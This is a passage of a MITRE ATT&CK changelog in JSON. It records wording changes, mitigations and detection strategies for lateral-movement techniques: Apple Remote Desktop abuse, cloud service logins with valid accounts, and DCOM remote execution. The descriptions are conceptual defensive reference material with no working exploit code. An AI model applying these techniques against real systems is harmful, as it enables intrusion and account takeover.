nowrap=\"nowrap\">h&nbsp;as&nbsp;those&nbsp;that&nbsp;federate&nbsp;their&nbsp;identities&nbsp;to&nbsp;the&nbsp;domain,&nbsp;or&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">such&nbsp;as&nbsp;those&nbsp;that&nbsp;federate&nbsp;their&nbsp;identities&nbsp;to&nbsp;the&nbsp;domain,&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">management&nbsp;platforms&nbsp;for&nbsp;internal&nbsp;virtualization&nbsp;environment</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">or&nbsp;management&nbsp;platforms&nbsp;for&nbsp;internal&nbsp;virtualization&nbsp;environm</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;such&nbsp;as&nbsp;VMware&nbsp;vCenter.&nbsp;&nbsp;&nbsp;Legitimate&nbsp;applications&nbsp;(such&nbsp;as</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ents&nbsp;such&nbsp;as&nbsp;VMware&nbsp;vCenter.&nbsp;&nbsp;&nbsp;Legitimate&nbsp;applications&nbsp;(such</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;[Software&nbsp;Deployment&nbsp;Tools](https://attack.mitre.org/techni</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;as&nbsp;[Software&nbsp;Deployment&nbsp;Tools](https://attack.mitre.org/tec</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ques/T1072)&nbsp;and&nbsp;other&nbsp;administrative&nbsp;programs)&nbsp;may&nbsp;utilize&nbsp;[</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hniques/T1072)&nbsp;and&nbsp;other&nbsp;administrative&nbsp;programs)&nbsp;may&nbsp;utiliz</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Remote&nbsp;Services](https://attack.mitre.org/techniques/T1021)&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;[Remote&nbsp;Services](https://attack.mitre.org/techniques/T102</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">to&nbsp;access&nbsp;remote&nbsp;hosts.&nbsp;For&nbsp;example,&nbsp;Apple&nbsp;Remote&nbsp;Desktop&nbsp;(A</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">1)&nbsp;to&nbsp;access&nbsp;remote&nbsp;hosts.&nbsp;For&nbsp;example,&nbsp;Apple&nbsp;Remote&nbsp;Desktop</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">RD)&nbsp;on&nbsp;macOS&nbsp;is&nbsp;native&nbsp;software&nbsp;used&nbsp;for&nbsp;remote&nbsp;management.&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;(ARD)&nbsp;on&nbsp;macOS&nbsp;is&nbsp;native&nbsp;software&nbsp;used&nbsp;for&nbsp;remote&nbsp;managemen</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ARD&nbsp;leverages&nbsp;a&nbsp;blend&nbsp;of&nbsp;protocols,&nbsp;including&nbsp;[VNC](https://</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t.&nbsp;ARD&nbsp;leverages&nbsp;a&nbsp;blend&nbsp;of&nbsp;protocols,&nbsp;including&nbsp;[VNC](https</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">attack.mitre.org/techniques/T1021/005)&nbsp;to&nbsp;send&nbsp;the&nbsp;screen&nbsp;an</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">://attack.mitre.org/techniques/T1021/005)&nbsp;to&nbsp;send&nbsp;the&nbsp;screen</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;control&nbsp;buffers&nbsp;and&nbsp;[SSH](https://attack.mitre.org/techniq</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;and&nbsp;control&nbsp;buffers&nbsp;and&nbsp;[SSH](https://attack.mitre.org/tech</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ues/T1021/004)&nbsp;for&nbsp;secure&nbsp;file&nbsp;transfer.(Citation:&nbsp;Remote&nbsp;Ma</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">niques/T1021/004)&nbsp;for&nbsp;secure&nbsp;file&nbsp;transfer.(Citation:&nbsp;Remote</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nagement&nbsp;MDM&nbsp;macOS)(Citation:&nbsp;Kickstart&nbsp;Apple&nbsp;Remote&nbsp;Desktop</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Management&nbsp;MDM&nbsp;macOS)(Citation:&nbsp;Kickstart&nbsp;Apple&nbsp;Remote&nbsp;Desk</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;commands)(Citation:&nbsp;Apple&nbsp;Remote&nbsp;Desktop&nbsp;Admin&nbsp;Guide&nbsp;3.3)&nbsp;A</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">top&nbsp;commands)(Citation:&nbsp;Apple&nbsp;Remote&nbsp;Desktop&nbsp;Admin&nbsp;Guide&nbsp;3.3</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dversaries&nbsp;can&nbsp;abuse&nbsp;applications&nbsp;such&nbsp;as&nbsp;ARD&nbsp;to&nbsp;gain&nbsp;remote</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">)&nbsp;Adversaries&nbsp;can&nbsp;abuse&nbsp;applications&nbsp;such&nbsp;as&nbsp;ARD&nbsp;to&nbsp;gain&nbsp;rem</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;code&nbsp;execution&nbsp;and&nbsp;perform&nbsp;lateral&nbsp;movement.&nbsp;In&nbsp;versions&nbsp;of</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ote&nbsp;code&nbsp;execution&nbsp;and&nbsp;perform&nbsp;lateral&nbsp;movement.&nbsp;In&nbsp;versions</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;macOS&nbsp;prior&nbsp;to&nbsp;10.14,&nbsp;an&nbsp;adversary&nbsp;can&nbsp;escalate&nbsp;an&nbsp;SSH&nbsp;sess</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;of&nbsp;macOS&nbsp;prior&nbsp;to&nbsp;10.14,&nbsp;an&nbsp;adversary&nbsp;can&nbsp;escalate&nbsp;an&nbsp;SSH&nbsp;s</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ion&nbsp;to&nbsp;an&nbsp;ARD&nbsp;session&nbsp;which&nbsp;enables&nbsp;an&nbsp;adversary&nbsp;to&nbsp;accept&nbsp;T</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ession&nbsp;to&nbsp;an&nbsp;ARD&nbsp;session&nbsp;which&nbsp;enables&nbsp;an&nbsp;adversary&nbsp;to&nbsp;accep</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">CC&nbsp;(Transparency,&nbsp;Consent,&nbsp;and&nbsp;Control)&nbsp;prompts&nbsp;without&nbsp;user</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;TCC&nbsp;(Transparency,&nbsp;Consent,&nbsp;and&nbsp;Control)&nbsp;prompts&nbsp;without&nbsp;u</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;interaction&nbsp;and&nbsp;gain&nbsp;access&nbsp;to&nbsp;data.(Citation:&nbsp;FireEye&nbsp;2019</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ser&nbsp;interaction&nbsp;and&nbsp;gain&nbsp;access&nbsp;to&nbsp;data.(Citation:&nbsp;FireEye&nbsp;2</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Apple&nbsp;Remote&nbsp;Desktop)(Citation:&nbsp;Lockboxx&nbsp;ARD&nbsp;2019)(Citation</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">019&nbsp;Apple&nbsp;Remote&nbsp;Desktop)(Citation:&nbsp;Lockboxx&nbsp;ARD&nbsp;2019)(Citat</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">:&nbsp;Kickstart&nbsp;Apple&nbsp;Remote&nbsp;Desktop&nbsp;commands)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ion:&nbsp;Kickstart&nbsp;Apple&nbsp;Remote&nbsp;Desktop&nbsp;commands)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1018: User Account Management",
                            "M1027: Password Policies",
                            "M1032: Multi-factor Authentication",
                            "M1035: Limit Access to Resource Over Network",
                            "M1042: Disable or Remove Feature or Program",
                            "M1047: Audit"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0269: Behavioral Detection Strategy for Remote Service Logins and Post-Access Activity"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--8861073d-d1b8-4941-82ce-dce621d398f0",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2023-02-21 19:38:13.371000+00:00",
                    "modified": "2026-11-03 21:46:16.639000+00:00",
                    "name": "Cloud Services",
                    "description": "Adversaries may log into accessible cloud services within a compromised environment using [Valid Accounts](https://attack.mitre.org/techniques/T1078) that are synchronized with or federated to on-premises user identities. The adversary may then perform management actions or access cloud-hosted resources as the logged-on user. \n\nMany enterprises federate centrally managed user identities to cloud services, allowing users to log in with their domain credentials in order to access the cloud control plane. Similarly, adversaries may connect to available cloud services through the web console or through the cloud command line interface (CLI) (e.g., [Cloud API](https://attack.mitre.org/techniques/T1059/009)), using commands such as <code>Connect-AZAccount</code> for Azure PowerShell, <code>Connect-MgGraph</code> for Microsoft Graph PowerShell, and <code>gcloud auth login</code> for the Google Cloud CLI.\n\nIn some cases, adversaries may be able to authenticate to these services via [Application Access Token](https://attack.mitre.org/techniques/T1550/001) instead of a username and password. ",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "lateral-movement"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1021/007",
                            "external_id": "T1021.007"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "IaaS",
                        "Identity Provider",
                        "Office Suite",
                        "SaaS"
                    ],
                    "x_mitre_version": "1.1",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 21:46:16.639000+00:00\", \"old_value\": \"2025-04-15 22:03:56.494000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may log into accessible cloud services within a compromised environment using [Valid Accounts](https://attack.mitre.org/techniques/T1078) that are synchronized with or federated to on-premises user identities. The adversary may then perform management actions or access cloud-hosted resources as the logged-on user. \\n\\nMany enterprises federate centrally managed user identities to cloud services, allowing users to log in with their domain credentials in order to access the cloud control plane. Similarly, adversaries may connect to available cloud services through the web console or through the cloud command line interface (CLI) (e.g., [Cloud API](https://attack.mitre.org/techniques/T1059/009)), using commands such as <code>Connect-AZAccount</code> for Azure PowerShell, <code>Connect-MgGraph</code> for Microsoft Graph PowerShell, and <code>gcloud auth login</code> for the Google Cloud CLI.\\n\\nIn some cases, adversaries may be able to authenticate to these services via [Application Access Token](https://attack.mitre.org/techniques/T1550/001) instead of a username and password. \", \"old_value\": \"Adversaries may log into accessible cloud services within a compromised environment using [Valid Accounts](https://attack.mitre.org/techniques/T1078) that are synchronized with or federated to on-premises user identities. The adversary may then perform management actions or access cloud-hosted resources as the logged-on user. \\n\\nMany enterprises federate centrally managed user identities to cloud services, allowing users to login with their domain credentials in order to access the cloud control plane. Similarly, adversaries may connect to available cloud services through the web console or through the cloud command line interface (CLI) (e.g., [Cloud API](https://attack.mitre.org/techniques/T1059/009)), using commands such as <code>Connect-AZAccount</code> for Azure PowerShell, <code>Connect-MgGraph</code> for Microsoft Graph PowerShell, and <code>gcloud auth login</code> for the Google Cloud CLI.\\n\\nIn some cases, adversaries may be able to authenticate to these services via [Application Access Token](https://attack.mitre.org/techniques/T1550/001) instead of a username and password. \", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n Adversaries may log into accessible cloud services within a compromised environment using [Valid Accounts](https://attack.mitre.org/techniques/T1078) that are synchronized with or federated to on-premises user identities. The adversary may then perform management actions or access cloud-hosted resources as the logged-on user. \\n \\n-Many enterprises federate centrally managed user identities to cloud services, allowing users to login with their domain credentials in order to access the cloud control plane. Similarly, adversaries may connect to available cloud services through the web console or through the cloud command line interface (CLI) (e.g., [Cloud API](https://attack.mitre.org/techniques/T1059/009)), using commands such as <code>Connect-AZAccount</code> for Azure PowerShell, <code>Connect-MgGraph</code> for Microsoft Graph PowerShell, and <code>gcloud auth login</code> for the Google Cloud CLI.\\n+Many enterprises federate centrally managed user identities to cloud services, allowing users to log in with their domain credentials in order to access the cloud control plane. Similarly, adversaries may connect to available cloud services through the web console or through the cloud command line interface (CLI) (e.g., [Cloud API](https://attack.mitre.org/techniques/T1059/009)), using commands such as <code>Connect-AZAccount</code> for Azure PowerShell, <code>Connect-MgGraph</code> for Microsoft Graph PowerShell, and <code>gcloud auth login</code> for the Google Cloud CLI.\\n \\n In some cases, adversaries may be able to authenticate to these services via [Application Access Token](https://attack.mitre.org/techniques/T1550/001) instead of a username and password. \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
                    "previous_version": "1.1",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to41__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to41__0\"><a href=\"#difflib_chg_to41__top\">t</a></td><td class=\"diff_header\" id=\"from41_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;log&nbsp;into&nbsp;accessible&nbsp;cloud&nbsp;services&nbsp;within&nbsp;a&nbsp;</td><td class=\"diff_next\"><a href=\"#difflib_chg_to41__top\">t</a></td><td class=\"diff_header\" id=\"to41_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;log&nbsp;into&nbsp;accessible&nbsp;cloud&nbsp;services&nbsp;within&nbsp;a&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">compromised&nbsp;environment&nbsp;using&nbsp;[Valid&nbsp;Accounts](https://attac</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">compromised&nbsp;environment&nbsp;using&nbsp;[Valid&nbsp;Accounts](https://attac</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">k.mitre.org/techniques/T1078)&nbsp;that&nbsp;are&nbsp;synchronized&nbsp;with&nbsp;or&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">k.mitre.org/techniques/T1078)&nbsp;that&nbsp;are&nbsp;synchronized&nbsp;with&nbsp;or&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">federated&nbsp;to&nbsp;on-premises&nbsp;user&nbsp;identities.&nbsp;The&nbsp;adversary&nbsp;may&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">federated&nbsp;to&nbsp;on-premises&nbsp;user&nbsp;identities.&nbsp;The&nbsp;adversary&nbsp;may&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">then&nbsp;perform&nbsp;management&nbsp;actions&nbsp;or&nbsp;access&nbsp;cloud-hosted&nbsp;resou</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">then&nbsp;perform&nbsp;management&nbsp;actions&nbsp;or&nbsp;access&nbsp;cloud-hosted&nbsp;resou</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rces&nbsp;as&nbsp;the&nbsp;logged-on&nbsp;user.&nbsp;&nbsp;&nbsp;Many&nbsp;enterprises&nbsp;federate&nbsp;cent</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rces&nbsp;as&nbsp;the&nbsp;logged-on&nbsp;user.&nbsp;&nbsp;&nbsp;Many&nbsp;enterprises&nbsp;federate&nbsp;cent</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rally&nbsp;managed&nbsp;user&nbsp;identities&nbsp;to&nbsp;cloud&nbsp;services,&nbsp;allowing&nbsp;us</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rally&nbsp;managed&nbsp;user&nbsp;identities&nbsp;to&nbsp;cloud&nbsp;services,&nbsp;allowing&nbsp;us</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ers&nbsp;to&nbsp;log<span class=\"diff_chg\">in</span>&nbsp;with&nbsp;their&nbsp;domain&nbsp;credentials&nbsp;in&nbsp;order&nbsp;to&nbsp;acces</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ers&nbsp;to&nbsp;log<span class=\"diff_chg\">&nbsp;in</span>&nbsp;with&nbsp;their&nbsp;domain&nbsp;credentials&nbsp;in&nbsp;order&nbsp;to&nbsp;acce</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;the&nbsp;cloud&nbsp;control&nbsp;plane.&nbsp;Similarly,&nbsp;adversaries&nbsp;may&nbsp;connec</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ss&nbsp;the&nbsp;cloud&nbsp;control&nbsp;plane.&nbsp;Similarly,&nbsp;adversaries&nbsp;may&nbsp;conne</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;to&nbsp;available&nbsp;cloud&nbsp;services&nbsp;through&nbsp;the&nbsp;web&nbsp;console&nbsp;or&nbsp;thr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ct&nbsp;to&nbsp;available&nbsp;cloud&nbsp;services&nbsp;through&nbsp;the&nbsp;web&nbsp;console&nbsp;or&nbsp;th</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ough&nbsp;the&nbsp;cloud&nbsp;command&nbsp;line&nbsp;interface&nbsp;(CLI)&nbsp;(e.g.,&nbsp;[Cloud&nbsp;AP</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rough&nbsp;the&nbsp;cloud&nbsp;command&nbsp;line&nbsp;interface&nbsp;(CLI)&nbsp;(e.g.,&nbsp;[Cloud&nbsp;A</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">I](https://attack.mitre.org/techniques/T1059/009)),&nbsp;using&nbsp;co</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">PI](https://attack.mitre.org/techniques/T1059/009)),&nbsp;using&nbsp;c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mmands&nbsp;such&nbsp;as&nbsp;&lt;code&gt;Connect-AZAccount&lt;/code&gt;&nbsp;for&nbsp;Azure&nbsp;Powe</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ommands&nbsp;such&nbsp;as&nbsp;&lt;code&gt;Connect-AZAccount&lt;/code&gt;&nbsp;for&nbsp;Azure&nbsp;Pow</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rShell,&nbsp;&lt;code&gt;Connect-MgGraph&lt;/code&gt;&nbsp;for&nbsp;Microsoft&nbsp;Graph&nbsp;Pow</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">erShell,&nbsp;&lt;code&gt;Connect-MgGraph&lt;/code&gt;&nbsp;for&nbsp;Microsoft&nbsp;Graph&nbsp;Po</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">erShell,&nbsp;and&nbsp;&lt;code&gt;gcloud&nbsp;auth&nbsp;login&lt;/code&gt;&nbsp;for&nbsp;the&nbsp;Google&nbsp;C</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">werShell,&nbsp;and&nbsp;&lt;code&gt;gcloud&nbsp;auth&nbsp;login&lt;/code&gt;&nbsp;for&nbsp;the&nbsp;Google&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">loud&nbsp;CLI.&nbsp;&nbsp;In&nbsp;some&nbsp;cases,&nbsp;adversaries&nbsp;may&nbsp;be&nbsp;able&nbsp;to&nbsp;authent</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Cloud&nbsp;CLI.&nbsp;&nbsp;In&nbsp;some&nbsp;cases,&nbsp;adversaries&nbsp;may&nbsp;be&nbsp;able&nbsp;to&nbsp;authen</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">icate&nbsp;to&nbsp;these&nbsp;services&nbsp;via&nbsp;[Application&nbsp;Access&nbsp;Token](https</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ticate&nbsp;to&nbsp;these&nbsp;services&nbsp;via&nbsp;[Application&nbsp;Access&nbsp;Token](http</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">://attack.mitre.org/techniques/T1550/001)&nbsp;instead&nbsp;of&nbsp;a&nbsp;usern</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s://attack.mitre.org/techniques/T1550/001)&nbsp;instead&nbsp;of&nbsp;a&nbsp;user</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ame&nbsp;and&nbsp;password.&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">name&nbsp;and&nbsp;password.&nbsp;</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1026: Privileged Account Management",
                            "M1032: Multi-factor Authentication"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0008: Behavioral Detection of Remote Cloud Logins via Valid Accounts"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-02-11 18:26:36.444000+00:00",
                    "modified": "2026-11-04 00:15:24.009000+00:00",
                    "name": "Distributed Component Object Model",
                    "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.\n\nThe Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM)\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)\n\nThrough DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).(Citation: MSDN WMI)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "lateral-movement"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1021/003",
                            "external_id": "T1021.003"
                        },
                        {
                            "source_name": "Fireeye Hunting COM June 2019",
                            "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.",
                            "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html"
                        },
                        {
                            "source_name": "Microsoft COM",
                            "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.",
                            "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx"
                        },
                        {
                            "source_name": "Microsoft COM ACL",
                            "description": "Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.",
                            "url": "https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1"
                        },
                        {
                            "source_name": "Microsoft Process Wide Com Keys",
                            "description": "Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.",
                            "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx"
                        },
                        {
                            "source_name": "MSDN WMI",
                            "description": "Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.",
                            "url": "https://msdn.microsoft.com/en-us/library/aa394582.aspx"
                        },
                        {
                            "source_name": "Enigma DCOM Lateral Movement Jan 2017",
                            "description": "Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round 2. Retrieved November 21, 2017.",
                            "url": "https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/"
                        },
                        {
                            "source_name": "Enigma MMC20 COM Jan 2017",
                            "description": "Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.",
                            "url": "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/"
                        },
                        {
                            "source_name": "Enigma Outlook DCOM Lateral Movement Nov 2017",
